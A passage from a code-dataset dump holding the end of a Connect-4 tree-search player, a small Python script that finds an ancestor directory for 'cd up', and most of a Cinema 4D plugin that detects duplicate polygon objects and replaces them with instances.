if duration > timeout: break\n\n        win_ratio = lambda x: x.wins / x.visits\n        sortedChildNodes = sorted(rootnode.childNodes, key=win_ratio)[::-1]\n        return sortedChildNodes[0].move\n\n    def result(self, actions, board, piece):\n        opp_player = 2 if piece == 1 else 1  \n        if board.is_winning_move(piece):  # player wins\n            return 1\n        elif board.is_winning_move(opp_player):  # opponent wins\n            return 0\n        elif len(board.get_available_actions()) == 0:  # draw\n            return 0.5\n    \n    def learn(self, board, actions, chosen_action, game_over, game_logic):\n        \"\"\"\n        A method to make a move and update any learning parameters if any\n        \"\"\"\n        pass","repo_name":"Team-Equality-RL-Project/connect-4","sub_path":"src/Connect4_RLPlayers.py","file_name":"Connect4_RLPlayers.py","file_ext":"py","file_size_in_byte":17477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43409891147","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport argparse\nimport os\nimport sys\n\n\ndef cwd(p=\"-L\"):\n    cmd = \"pwd {}\".format(p)\n    value = os.popen(cmd).read().strip('\\n')\n    return value\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"param\", help=\"\", nargs=\"?\")\nparser.add_argument(\"-p\", \"--parent\",   action=\"store_true\", help=\"cd to the parent directory of the specified item\")\nparser.add_argument(\"-P\", \"--physical\", action=\"store_true\", help=\"cd through physical directory structure\")\nargs = parser.parse_args()\n\nparam = args.param\ntry:\n    param = int(param)\nexcept (ValueError, TypeError):\n    pass\n\n\np = \"-P\" if args.physical else \"-L\"\norig_dir = cwd(p)\n\n\nif param is None:\n    param = os.path.basename(orig_dir)\n\ntarget = None\nif isinstance(param, int):\n    if param > 0:\n        target = os.path.normpath(os.path.join(orig_dir, \"../\"*param))\n\n\nif target is None:\n    SEARCHDIRS = os.getenv(\"UPDIRS\")\n    if SEARCHDIRS:\n        SEARCHDIRS = SEARCHDIRS.split(os.pathsep)\n        for S in SEARCHDIRS:\n            searchdir = os.path.expanduser(os.path.expandvars(S))\n            check_path = os.path.join(searchdir, param)\n            if os.path.exists(check_path):\n                if os.path.isdir(check_path) and not args.parent:\n                    target = check_path\n                else:\n                    target = searchdir\n\n\nif target is None:\n    currdir = orig_dir\n    while os.path.dirname(currdir) != currdir:  # check if its root\n        check_path = os.path.join(currdir, param)\n        if os.path.exists(check_path):\n            if os.path.isdir(check_path) and not args.parent:\n                target = check_path\n            else:\n                target = currdir\n            break\n        else:\n            currdir = os.path.normpath(os.path.join(currdir, \"..\"))\n\n\nif target is None:\n    exit(101)\n\n\nprint(target)","repo_name":"DanChianucci/dotfiles","sub_path":"scripts/up.py","file_name":"up.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41343441400","text":"\"\"\"\nInstantce: Instantly recognize and replace objects with instances!\nAuthors: Jérôme Stephan & Darby Edelen\n\nPossible future TODO:\n    - Speed up tree / list view fns by using deques instead of lists\n\"\"\"\nPLUGIN_ID = 1061542\n\nfrom typing import Union\nimport c4d\nimport os\nimport sys\nimport webbrowser\nimport random\nimport time\nfrom collections import defaultdict\nimport typing\n\nfrom c4d import Vector\n\ndoc: c4d.documents.BaseDocument = None # The currently active document.\nop: typing.Optional[c4d.BaseObject]  # The selected object within that active document. Can be None.\n\nclass InstanceFinder:\n    def __init__(self, objects, consider_dict, precision = 3, samples = 100, seed = 12345, reportBack = None, doc = c4d.documents.GetActiveDocument()):\n        self.doc = doc\n        self.reportBack = reportBack\n        self.consider = consider_dict\n        self.poly_objs = objects\n        self.poly_objs_count = len(objects)\n        self.precision = precision\n        self.samples = samples\n        self.seed = seed\n        self.instance_groups = defaultdict(list)\n\n    def get_sample_pts(self, obj, count):\n        total_num = obj.GetPointCount()\n        count = min(count, total_num)\n        \n        if count < total_num / 3:\n            return self.sample_pts_a(obj, count, total_num)\n        else:\n            return self.sample_pts_b(obj, count)\n\n\n    def sample_pts_a(self, obj, count, total_num):\n        \n        random.seed(123456)\n        sample_indices = random.sample(range(total_num), count)\n        \n        return (obj.GetPoint(i) for i in sample_indices)\n\n    def sample_pts_b(self, obj, count):\n        all_points = obj.GetAllPoints()\n        \n        random.seed(123456)\n        samples = random.sample(all_points, count)\n\n        return samples\n\n    def convert_vector(self, vec):\n        # The point position comparison appears to be somewhat sensitive\n        # to different levels of precision (decimals). I'd like to come up\n        # with a more consistent way to prepare floats for equality comparison.\n\n        x = round(vec.x, self.precision)\n        y = round(vec.y, self.precision)\n        z = round(vec.z, self.precision)\n        return (x,y,z)\n\n    def iterate_hierarchy(self, op, type=c4d.BaseObject):\n        while op:\n            if isinstance(op, type):\n                self.poly_obj_count += 1\n                yield op\n            if op.GetDown():\n                op = op.GetDown()\n                continue\n            while not op.GetNext() and op.GetUp():\n                op = op.GetUp()\n            op = op.GetNext()\n\n    def _calculate_relative_matrix(self, obj):\n        # try catch for when the object has no polygons\n        try:\n            poly = obj.GetPolygon(0)\n        except IndexError:\n            print(f\"Object {obj.GetName()} has no polygons, aborting.\")\n            return None\n\n        off = obj.GetPoint(poly.a)\n        v2 = obj.GetPoint(poly.b) - off\n        scale = v2.GetLength()\n        v2.Normalize()\n        v3 = (v2 % (obj.GetPoint(poly.c) - off)).GetNormalized()\n        v1 = v2 % v3\n        v1 *= scale\n        v2 *= scale\n        v3 *= scale\n        return c4d.Matrix(off, v1, v2, v3);\n\n    def _hash_base_container(self, bc):\n        def traverse_bc(bc):\n            ignore_keys = [1011, 1012, 1013] if bc[1004] == 6 else [] # Ignore texture positions if tag is set to UVW\n            for key, data in bc:\n                if key in ignore_keys:\n                    continue\n                if type(data) == c4d.BaseContainer:\n                    yield from traverse_bc(data)\n                else:\n                    yield data\n\n        return hash(tuple(traverse_bc(bc)))\n\n    def _hash_tag(self, tag, index = 0):\n        if self.consider['materials'] and tag.GetType() == c4d.Ttexture:\n            mat = tag.GetMaterial()\n\n            if mat:\n                bc = tag.GetData()\n                # print(self._hash_base_container(bc))\n                poly_select = bc.GetString(c4d.TEXTURETAG_RESTRICTION)\n\n                if poly_select:\n                    poly_select_tags = [s for s in tag.GetObject().GetTags() if s.GetName() == poly_select]\n\n                    if poly_select_tags:\n                        poly_select_tag = poly_select_tags[0]\n                        obj = poly_select_tag.GetObject()\n\n                        return hash(\n                            index +\n                            hash(mat) +\n                            hash(tuple(poly_select_tag.GetBaseSelect().GetAll(obj.GetPolygonCount()))) +\n                            self._hash_base_container(bc)\n                        )\n                return hash(index + hash(mat) + self._hash_base_container(bc))\n\n        if self.consider['normals'] and tag.GetType() in (c4d.Tphong, c4d.Tnormal):\n            if not tag.GetObject().GetTag(c4d.Tnormal):\n                # Hash Phong tag because there are no Normal tags\n                return self._hash_base_container(tag.GetData())\n\n            # Hash Normal tag\n            return hash(tag.GetLowlevelDataAddressR())\n\n        if self.consider['uvs'] and tag.GetType() == c4d.Tuvw:\n            return hash(tag.GetLowlevelDataAddressR())\n\n\n    def _calculate_hash(self, obj):\n        \"\"\"\n            This function returns a unique hash for unique c4d.PolygonObjects\n        \"\"\"\n\n        # Point Count is one measure of uniqueness\n        point_count = obj.GetPointCount()\n\n        # Poly Count is another measure of uniqueness\n        poly_count = obj.GetPolygonCount()\n\n        # Calculating the local point positions is challenging, but a good indicator of uniqueness\n        mg = self._calculate_relative_matrix(obj)\n        if not mg:\n            return None\n        pts = frozenset(self.convert_vector(pt * ~mg) for pt in self.get_sample_pts(obj, self.samples))\n\n        # UVs are another measure of uniqueness\n        # uvs = obj.GetTag(c4d.Tuvw).GetLowlevelDataAddressR() if self.consider[\"uvs\"] else None\n\n        #Tags should be the same as well\n        tags = frozenset(self._hash_tag(tag, i) for i, tag in enumerate(obj.GetTags()))\n\n        # Hash as many or as few measures as you like together\n        instance_ident = hash(hash(point_count) + hash(poly_count) + hash(pts) + hash(tags))\n        material_tags = [tag for tag in obj.GetTags() if tag.GetType() == c4d.Ttexture]\n        self.instance_groups[instance_ident].append({\"obj\": obj, \"mg\": mg, \"mat_tags\": material_tags, \"hash\": instance_ident, \"opened\": True})\n\n        return instance_ident\n\n    def build_instance_dict(self):\n        total_num = self.poly_objs_count\n        for i, obj in enumerate(self.poly_objs):\n            self._calculate_hash(obj)\n            if self.reportBack:\n                self.reportBack.UpdateProgressBar(percent=int((i+1)*100/total_num), col=None)\n        if self.reportBack:\n            self.reportBack.StopProgressBar()\n\n\n    def create_instances(self):\n        if not self.instance_groups:\n            self.build_instance_dict()\n\n        count = 0\n        total_num = self.poly_objs_count - len(self.instance_groups)\n\n        self.doc.StartUndo()\n\n        for instance_grp in self.instance_groups.values():\n            instance_grp.reverse()\n            element = instance_grp.pop()\n            ref_obj = element[\"obj\"]\n            ref_mtx = element[\"mg\"]\n            ref_materials = element[\"mat_tags\"]\n\n            if not self.consider[\"materials\"]:\n                ref_parent = c4d.BaseObject(c4d.Onull)\n                self.doc.InsertObject(ref_parent, pred = ref_obj)\n                self.doc.AddUndo(c4d.UNDOTYPE_NEWOBJ, ref_parent)\n                ref_parent.SetMg(ref_obj.GetMg())\n                ref_parent.SetName(f\"{ref_obj.GetName()}_parent\")\n                self.doc.AddUndo(c4d.UNDOTYPE_DELETEOBJ, ref_obj)\n                ref_obj.Remove()\n                self.doc.InsertObject(ref_obj, parent = ref_parent)\n                self.doc.AddUndo(c4d.UNDOTYPE_NEWOBJ, ref_obj)\n                ref_obj.SetMl(c4d.Matrix())\n\n                for material in ref_materials:\n                    self.doc.AddUndo(c4d.UNDOTYPE_DELETEOBJ, material)\n                    material.Remove()\n                    ref_parent.InsertTag(material)\n\n            for element in instance_grp:\n                obj = element[\"obj\"]\n                mtx = element[\"mg\"]\n                materials = element[\"mat_tags\"]\n\n                instance_obj = c4d.InstanceObject()\n                if instance_obj is None:\n                    raise RuntimeError(\"Failed to create an instance object.\")\n                instance_obj.SetReferenceObject(ref_obj)\n                instance_obj.SetMl(obj.GetMl() * mtx * ~ref_mtx)\n                instance_obj.SetName(obj.GetName())\n                instance_obj[c4d.INSTANCEOBJECT_RENDERINSTANCE_MODE] = c4d.INSTANCEOBJECT_RENDERINSTANCE_MODE_SINGLEINSTANCE\n\n                if not self.consider[\"materials\"]:\n                    for material in materials:\n                        self.doc.AddUndo(c4d.UNDOTYPE_DELETEOBJ, material)\n                        material.Remove()\n                        instance_obj.InsertTag(material)\n\n                self.doc.InsertObject(instance_obj, pred = obj)\n                self.doc.AddUndo(c4d.UNDOTYPE_NEWOBJ, instance_obj)\n                self.doc.AddUndo(c4d.UNDOTYPE_DELETEOBJ, obj)\n                obj.Remove()\n                count += 1\n                if self.reportBack:\n                    self.reportBack.UpdateProgressBar(percent=int((count)*100/total_num), col=None)\n\n        if self.reportBack:\n            self.reportBack.StopProgressBar()\n\n        self.doc.EndUndo()\n\n        return True\n\n# Colors\nBG_DARK = c4d.Vector(0.13, 0.13, 0.13)\nBG_DARKER = c4d.Vector(0.11, 0.11, 0.11)\nDARK_BLUE_TEXT_COL = c4d.Vector(0, 0.78125, 0.99609375)\nACCENT_COL = c4d.Vector(1, 0.337, 0)\nACCENT_COL_C4D = c4d.Vector(.36, 0.38, .65)\n\n# ---------------------------------------------------------------------\n#       Creating GUI Instance Functions UI Elements Operations \n#                          Hepler Methods. \n# ---------------------------------------------------------------------\n\n#----------------------------------------------------------------------\n#  TreeViewFunctions Class\n#----------------------------------------------------------------------\n\nclass InstanceListFns(c4d.gui.TreeViewFunctions):\n    def GetBackgroundColor(self, root: object, userdata: object, obj: object, line: int, col: int | Vector) -> int | Vector:\n        return BG_DARKER if line % 2 else BG_DARK\n    def EmptyText(self, root: object, userdata: object) -> str:\n        return \"Add objects by dragging them here, \\nor opening Instantce! with objects selected.\"\n    def GetFirst(self, root, userdata):\n        return root[0] if root else None\n        return root.GetFirstObject()\n    def GetDown(self, root, userdata, obj):\n        return None\n        return obj.GetDown()\n    def GetNext(self, root, userdata, obj):\n        currentObjIndex = root.index(obj)\n        return root[currentObjIndex+1] if currentObjIndex+1 < len(root) else None\n    def GetPred(self, root, userData, item):\n        \"\"\"\n        Gets the predecessor item for #item in #data.\n        \"\"\"\n        i: int = root.index(item)\n        return root[i-1] if (i - 1) >= 0 else None\n    def IsOpened(self, root, userdata, obj):\n        return obj.GetBit(c4d.BIT_OFOLD)\n    def Open(self, root, userdata, obj, onoff):\n        if onoff:\n            obj.SetBit(c4d.BIT_OFOLD)\n        else:\n            obj.DelBit(c4d.BIT_OFOLD)\n    def IsSelected(self, root, userdata, obj):\n        return obj.GetBit(c4d.BIT_ACTIVE)\n    def Select(self, root, userdata, obj, mode):\n        if mode == c4d.SELECTION_NEW:\n            obj.SetBit(c4d.BIT_ACTIVE)\n            doc.SetActiveObject(obj, c4d.SELECTION_NEW)\n        elif mode == c4d.SELECTION_ADD:\n            obj.SetBit(c4d.BIT_ACTIVE)\n            doc.SetActiveObject(obj, c4d.SELECTION_ADD)\n        else:\n            obj.DelBit(c4d.BIT_ACTIVE)\n            doc.SetActiveObject(obj, c4d.SELECTION_SUB)\n        c4d.EventAdd()\n    def GetID(self, root, userdata, obj):\n        return obj.GetGUID()\n    def GetName(self, root, userdata, obj):\n        return obj.GetName()\n    def GetDragType(self, root, userdata, obj):\n        return c4d.DRAGTYPE_ATOMARRAY\n    def AcceptDragObject(self, root, userdata, obj, dragtype, dragobject):\n        if dragtype == c4d.DRAGTYPE_ATOMARRAY:\n            return c4d.INSERT_UNDER, False\n        return 0\n    def InsertObject(self, root, userData, item, dragType: int, dragData: any, insertMode: int, doCopy: bool) -> None:\n        \"\"\"\n        Called by Cinema 4D once a drag event has finished which before has been indicated as valid by #AcceptDragObject.\n        \"\"\"\n        new_items = [item for item in dragData if item not in root and item.GetType() == c4d.Opolygon]\n        root.extend(new_items)\n    def DeletePressed(self, root: object, userdata: object) -> None:\n        for element in reversed(root):\n            if self.IsSelected(root, userdata, element):\n                root.remove(element)\n\nclass InstanceTreeFns(c4d.gui.TreeViewFunctions):\n    def GetBackgroundColor(self, root: object, userdata: object, obj: object, line: int, col: int | Vector) -> int | Vector:\n        return BG_DARKER if line % 2 else BG_DARK\n    def GetFirst(self, root, userdata):\n        return root[list(root.keys())[0]][0]\n        return root[0] if root else None\n    def GetDown(self, root, userdata, obj):\n        if root[obj[\"hash\"]].index(obj) == 0:\n            return root[obj[\"hash\"]][1] if len(root[obj[\"hash\"]]) > 1 else None\n        return None\n    def GetNext(self, root, userdata, obj):\n        if root[obj[\"hash\"]].index(obj) == 0:\n            key_list = list(root.keys())\n            return root[key_list[key_list.index(obj[\"hash\"])+1]][0] if key_list.index(obj[\"hash\"])+1 < len(key_list) else None\n        else:\n            currentObjIndex = root[obj[\"hash\"]].index(obj)\n            return root[obj[\"hash\"]][currentObjIndex+1] if currentObjIndex+1 < len(root[obj[\"hash\"]]) else None\n    def IsOpened(self, root, userdata, obj):\n        return obj[\"opened\"]\n    def Open(self, root, userdata, obj, onoff):\n        if onoff:\n            obj[\"opened\"] = True\n        else:\n            obj[\"opened\"] = False\n    def IsSelected(self, root, userdata, obj):\n        return obj[\"obj\"].GetBit(c4d.BIT_ACTIVE)\n    def Select(self, root, userdata, obj, mode):\n        if mode == c4d.SELECTION_NEW:\n            obj[\"obj\"].SetBit(c4d.BIT_ACTIVE)\n            doc.SetActiveObject(obj[\"obj\"], c4d.SELECTION_NEW)\n        elif mode == c4d.SELECTION_ADD:\n            obj[\"obj\"].SetBit(c4d.BIT_ACTIVE)\n            doc.SetActiveObject(obj[\"obj\"], c4d.SELECTION_ADD)\n        else:\n            obj[\"obj\"].DelBit(c4d.BIT_ACTIVE)\n            doc.SetActiveObject(obj[\"obj\"], c4d.SELECTION_SUB)\n        c4d.EventAdd()\n    def GetID(self, root, userdata, obj):\n        return obj[\"obj\"].GetGUID()\n    def GetName(self, root, userdata, obj):\n        return obj[\"obj\"].GetName()\n\n####################################################################################################\n##                                                                                                ##\n##                                             UI                                                 ##\n##                                                                                                ##\n####################################################################################################\n\nVERSION_NUMBER = \" v1.0 \"\nABOUT_TEXT_COPYRIGHT = \"©2023 by Jérôme Stephan & Darby Edelen\"\nABOUT_TEXT_WEBSITE = \"https://jeromestephan.de\"\nABOUT_LINK_README = \"https://jeromestephan.gumroad.com/l/Instantce?layout=profile\"\nABOUT_SUPPORT = \"https://jeromestephan.gumroad.com/\"\n\nGROUP_BORDER_SPACE = 6\nGROUP_BORDER_SPACE_SM = GROUP_BORDER_SPACE - 2\n\nID_LINK_ABOUT = 11000\nID_LINK_README = 11001\nID_AUTHOR_TEXT = 11002\nID_LINK_WEBSITE = 11003\nID_SUPPORT_ME = 11004\nID_VERSION_NUMBER = 11005\n\nID_INEXCLUDE_LIST = 10000\nID_EXTRACT_BTN = 10001\nID_PROCESS_BTN = 10002\n\nID_PROGRESSBAR = 10100\nID_PROGRESSBAR_TEXT = 10101\n\nID_PRECISION = 10200\nID_SAMPLES = 10201\nID_SEED = 10202\nID_BLIND_MODE = 10203\n\nID_CONSIDER_TAGORDER = 10301\nID_CONSIDER_MATERIALS = 10302\nID_CONSIDER_NORMALS = 10303\nID_CONSIDER_OTHERTAGS = 10304\nID_CONSIDER_UVS = 10305\n\nID_BLANK = 101010\n\nclass MainDialog(c4d.gui.GeDialog):\n\n    def AddTreeView(self, w_size, h_size):\n        bc_IEsettings = c4d.BaseContainer()\n        bc_IEsettings.SetData(c4d.TREEVIEW_OUTSIDE_DROP, True)\n        bc_IEsettings.SetData(c4d.TREEVIEW_ALTERNATE_BG, True)\n        self._treeView = self.AddCustomGui(ID_INEXCLUDE_LIST, c4d.CUSTOMGUI_TREEVIEW, \"\", c4d.BFH_SCALEFIT|c4d.BFV_SCALEFIT, w_size, h_size, bc_IEsettings)\n        tree_settings = c4d.BaseContainer()\n        tree_settings.SetInt32(0, c4d.LV_TREE)\n        self._treeView.SetLayout(1, tree_settings)\n        return True\n    \n    def UpdateTreeView(self, root, treeViewFns):\n        self._treeView.SetRoot(root, treeViewFns, None)\n        self._treeView.Refresh()\n        return True\n    \n    def Extract(self, instance_args):\n        if self._listViewRoot:\n            start = time.perf_counter()\n            blind = instance_args[\"blind\"]\n            reportBack = None if blind else self\n            self._instanceFinder = InstanceFinder(self._listViewRoot, \n                                            consider_dict = instance_args[\"consider\"],\n                                            precision = instance_args[\"precision\"], \n                                            samples = instance_args[\"samples\"], \n                                            seed = instance_args[\"seed\"],\n                                            reportBack = reportBack,\n                                            doc = doc)\n            self._instanceFinder.build_instance_dict()\n            instance_count = len(self._instanceFinder.instance_groups)\n            total_count = self._instanceFinder.poly_objs_count\n\n            duration = time.perf_counter() - start\n            if instance_count > 0:\n                print(f\"Recognized {total_count - instance_count} objects with instances in {duration:.03} seconds ({((total_count - instance_count)/duration):.02f} objects / second). Remaining objects: {instance_count}\")\n                self.UpdateTreeView(self._instanceFinder.instance_groups, InstanceTreeFns())\n            c4d.EventAdd()\n        else: \n            print(\"No Objects in the List\")\n        return True\n    \n    def ClearExtraction(self):\n        self._instanceFinder = None\n        self.UpdateTreeView(self._listViewRoot, self._listViewFns)\n        return True\n\n    def Process(self):\n        if self._instanceFinder:\n            start = time.perf_counter()\n            self._instanceFinder.create_instances()\n            instance_count = len(self._instanceFinder.instance_groups)\n            total_count = self._instanceFinder.poly_objs_count\n\n            duration = time.perf_counter() - start\n            if instance_count > 0:\n                print(f\"Replaced {total_count - instance_count} objects with instances in {duration:.03} seconds ({((total_count - instance_count)/duration):.02f} objects / second). Remaining objects: {instance_count}\")\n                self._listViewRoot = []\n                self.UpdateTreeView(self._listViewRoot, self._listViewFns)\n            c4d.EventAdd()\n        else:\n            print(\"No Instances extracted yet\")\n            return False\n        return True\n    \n    def AddProgressBar(self, w_size, h_size):\n        self.GroupBegin(0, c4d.BFH_SCALEFIT, 0, 1)   \n        self.GroupBorderNoTitle(c4d.BORDER_THIN_IN)\n        self.AddCustomGui(ID_PROGRESSBAR, c4d.CUSTOMGUI_PROGRESSBAR, \"\", c4d.BFH_SCALEFIT|c4d.BFV_SCALEFIT, w_size, h_size)\n        self.AddSeparatorV(0, c4d.BFV_SCALEFIT)\n        self.AddStaticText(ID_PROGRESSBAR_TEXT, c4d.BFH_MASK, 50, h_size, \"\", c4d.BORDER_WITH_TITLE_BOLD) \n        self.GroupEnd()\n        return True\n    \n    def UpdateProgressBar(self, percent, col):\n        progressMsg = c4d.BaseContainer(c4d.BFM_SETSTATUSBAR)\n        progressMsg[c4d.BFM_STATUSBAR_PROGRESSON] = True\n        progressMsg[c4d.BFM_STATUSBAR_PROGRESS] = percent/100.0 \n        # this if you want a custom color\n        if col:\n            self.SetDefaultColor(ID_PROGRESSBAR, c4d.COLOR_PROGRESSBAR, col)    \n        self.SendMessage(ID_PROGRESSBAR, progressMsg)\n        self.SetString(ID_PROGRESSBAR_TEXT, str(int(percent))+\"%\")\n        return True\n    \n    def StopProgressBar(self):\n        progressMsg = c4d.BaseContainer(c4d.BFM_SETSTATUSBAR)\n        progressMsg.SetBool(c4d.BFM_STATUSBAR_PROGRESSON, False)\n        self.SendMessage(ID_PROGRESSBAR, progressMsg)\n        return True\n        \n    # ====================================== #        \n    #  Main GeDialog Class Overrides\n    # ====================================== #\n    def __init__(self):\n        \"\"\"\n        The __init__ is an Constuctor and help get \n        and passes data on from the another class.\n        \"\"\"      \n        self._instanceFinder: InstanceFinder | None = None  \n        self._treeView: c4d.gui.TreeViewCustomGui | None = None\n        self._listViewFns = InstanceListFns()\n        self._treeViewFns = InstanceTreeFns()\n        self._listViewRoot = None\n        self._treeViewRoot = None\n        self.extracted = False\n        # super(Tool_WindowDialog, self).__init__()\n\n    # UI Layout\n    def CreateLayout(self):\n        # Dialog Title\n        self.SetTitle(\"Instantce!\")\n        \n        self.MenuSubBegin(\"About\")\n        self.MenuAddString(ID_LINK_ABOUT, \"About\")\n        self.MenuAddString(ID_LINK_README, \"Readme\")\n        self.MenuSubEnd()\n        \n        self.MenuSubBegin(\"Support this project & me!\")\n        self.MenuAddString(ID_SUPPORT_ME, \"Support this & other projects (& me) on Gumroad!\")\n        self.MenuSubEnd()\n        self.MenuFinished()\n        \n        # Top Menu addinng Tool Version\n        self.GroupBeginInMenuLine()\n        self.AddStaticText(ID_VERSION_NUMBER, 0)\n        self.SetString(ID_VERSION_NUMBER, VERSION_NUMBER)\n        self.GroupEnd()        \n        \n        # self.GroupBegin(self.IDS_OverallGrp, c4d.BFH_SCALEFIT, 1, 0, \"\") # Overall Group.\n        \n        # Static UI Text\n        # self.AddStaticText(self.IDS_StaticText, c4d.BFH_CENTER, 0, 15, \"Instantce Demo\", c4d.BORDER_WITH_TITLE_BOLD)\n        \n        # self.AddSeparatorH(0, c4d.BFH_SCALEFIT) # Line Separator / eg: self.AddSeparatorH(0, c4d.BFH_MASK) and AddSeparatorV \n\n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT | c4d.BFV_SCALEFIT, 2, 0, \"\") \n        self.GroupBorderSpace(GROUP_BORDER_SPACE, GROUP_BORDER_SPACE, GROUP_BORDER_SPACE, GROUP_BORDER_SPACE)\n        \n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT | c4d.BFV_SCALEFIT, 1, 0, \"\") \n        self.AddStaticText(ID_BLANK, c4d.BFH_LEFT, 0, 15, \" Objects :\", c4d.BORDER_WITH_TITLE_BOLD)\n        self.AddTreeView(w_size=500, h_size=300)\n        self.GroupEnd()        \n\n        # self.AddSeparatorV(0, c4d.BFV_SCALEFIT)\n        \n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT|c4d.BFV_TOP, 1, 0, \"\")\n        self.AddStaticText(ID_BLANK, c4d.BFH_LEFT, 0, 15, \" Settings :\", c4d.BORDER_WITH_TITLE_BOLD)\n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT, title=\"Precision\")\n        self.GroupBorder(c4d.BORDER_GROUP_IN)\n        self.GroupBorderSpace(GROUP_BORDER_SPACE, GROUP_BORDER_SPACE_SM, GROUP_BORDER_SPACE, GROUP_BORDER_SPACE)\n        self.AddEditSlider(ID_PRECISION, c4d.BFH_SCALEFIT, 0, 0)\n        self.GroupEnd()\n\n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT, title=\"Samples\")\n        self.GroupBorder(c4d.BORDER_GROUP_IN)\n        self.GroupBorderSpace(GROUP_BORDER_SPACE, GROUP_BORDER_SPACE_SM, GROUP_BORDER_SPACE, GROUP_BORDER_SPACE)\n        self.AddEditSlider(ID_SAMPLES, c4d.BFH_SCALEFIT, 0, 0)\n        self.GroupEnd()\n\n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT, title=\"Sampling Seed\")\n        self.GroupBorder(c4d.BORDER_GROUP_IN)\n        self.GroupBorderSpace(GROUP_BORDER_SPACE, GROUP_BORDER_SPACE_SM, GROUP_BORDER_SPACE, GROUP_BORDER_SPACE)\n        self.AddEditSlider(ID_SEED, c4d.BFH_SCALEFIT, 0, 0)\n        self.GroupEnd()\n\n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT, title=\"Consider\", cols=1)\n        self.GroupBorder(c4d.BORDER_GROUP_IN)\n        self.GroupBorderSpace(GROUP_BORDER_SPACE, GROUP_BORDER_SPACE_SM, GROUP_BORDER_SPACE, GROUP_BORDER_SPACE)\n        self.AddCheckbox(ID_CONSIDER_MATERIALS, c4d.BFH_SCALEFIT, 0, 0, \"Materials\")\n        self.AddCheckbox(ID_CONSIDER_NORMALS, c4d.BFH_SCALEFIT, 0, 0, \"Normals\")\n        self.AddCheckbox(ID_CONSIDER_UVS, c4d.BFH_SCALEFIT, 0, 0, \"UVs\")\n        self.GroupEnd()\n\n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT)\n        self.GroupBorder(c4d.BORDER_GROUP_IN)\n        self.GroupBorderSpace(GROUP_BORDER_SPACE, GROUP_BORDER_SPACE_SM, GROUP_BORDER_SPACE, GROUP_BORDER_SPACE)\n        self.AddCheckbox(ID_BLIND_MODE, c4d.BFH_SCALEFIT, 0, 0, \"Blind Mode\")\n        self.GroupEnd()\n\n        self.GroupEnd() \n        self.GroupEnd() # After this, we are in Overall group.\n                      \n        self.AddSeparatorH(0, c4d.BFH_SCALEFIT)\n        self.AddProgressBar(w_size=100, h_size=10)\n        # self.AddSeparatorH(0, c4d.BFH_SCALEFIT)\n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT, title=\"\", cols = 2)\n        self.AddButton(ID_EXTRACT_BTN, c4d.BFH_SCALEFIT, 0, 30, name=\"Extract Instances\") \n        self.AddButton(ID_PROCESS_BTN, c4d.BFH_SCALEFIT, 0, 30, name=\"Instantce!\") \n        self.GroupEnd()\n\n        # self.AddSubDialog(ID_BLANK, c4d.BFV_SCALEFIT, 0, 0)\n        self.GroupBegin(ID_BLANK, c4d.BFH_SCALEFIT, title=\"About\", cols = 2)\n        self.AddSeparatorH(c4d.BFH_SCALEFIT)\n        self.AddSeparatorH(c4d.BFH_SCALEFIT)\n        self.AddSubDialog(ID_BLANK, c4d.BFH_SCALEFIT, 0, 0)\n        self.AddStaticText(ID_AUTHOR_TEXT, c4d.BFH_RIGHT, 0, 0, ABOUT_TEXT_COPYRIGHT)\n        # self.AddRadioText(ID_LINK_WEBSITE, c4d.BFH_FIT, 0, 0, ABOUT_TEXT_WEBSITE)\n        self.GroupEnd()\n        \n        # self.AddSeparatorH(0, c4d.BFH_SCALEFIT)\n        # self.GroupEnd() # End of the overall group.        \n        return True\n\n    def InitValues(self):\n        \"\"\" \n        Called when the dialog is initialized by the GUI / GUI's startup values basically.\n        \"\"\"\n        global doc\n        doc =  c4d.documents.GetActiveDocument()\n        self.SetDefaultColor(ID_INEXCLUDE_LIST, c4d.COLOR_BG, BG_DARKER)\n        self.SetDefaultColor(ID_VERSION_NUMBER, c4d.COLOR_TEXT, ACCENT_COL_C4D)\n        self.SetString(ID_PROGRESSBAR_TEXT, \"0%\")\n        self.SetInt32(ID_PRECISION, 3, min=0, max=5, step=1, max2=10)\n        self.SetInt32(ID_SAMPLES, 100, min=0, max=1000, step=1, max2=100000)\n        self.SetInt32(ID_SEED, 12345, min=0, max=99999, step=1)\n\n        # self.SetBool(ID_CONSIDER_TAGORDER, True)\n        self.SetBool(ID_CONSIDER_NORMALS, True)\n        self.SetBool(ID_CONSIDER_UVS, True)\n\n        self.Enable(ID_PROCESS_BTN, False)\n\n        self._listViewRoot = [obj for obj in doc.GetActiveObjects(c4d.GETACTIVEOBJECTFLAGS_CHILDREN) if obj.GetType() == c4d.Opolygon] #c4d.GETACTIVEOBJECTFLAGS_SELECTIONORDER)]\n        self.UpdateTreeView(self._listViewRoot, self._listViewFns)\n        return True \n \n    def Command(self, id, msg):\n        \"\"\"\n        This Method is called automatically when the user clicks on a gadget and/or changes its value this function will be called.\n        It is also called when a string menu item is selected.\n        :param messageId: The ID of the gadget that triggered the event.\n        :param bc: The original message container\n        :return: False if there was an error, otherwise True.\n        \"\"\"\n        if (id == ID_EXTRACT_BTN and not self.extracted):\n            consider_dict = {\n                \"materials\":    self.GetBool(ID_CONSIDER_MATERIALS),\n                \"normals\":   self.GetBool(ID_CONSIDER_NORMALS),\n                \"uvs\":          self.GetBool(ID_CONSIDER_UVS),\n            }\n            instance_args = {\n                \"precision\":    self.GetBool(ID_PRECISION),\n                \"samples\":      self.GetBool(ID_SAMPLES),\n                \"seed\":         self.GetBool(ID_SEED),\n                \"blind\":        self.GetBool(ID_BLIND_MODE),\n                \"consider\":     consider_dict,\n            }\n            self.Extract(instance_args)\n            self.extracted = True\n            self.SetString(ID_EXTRACT_BTN, \"Clear Instances\")\n            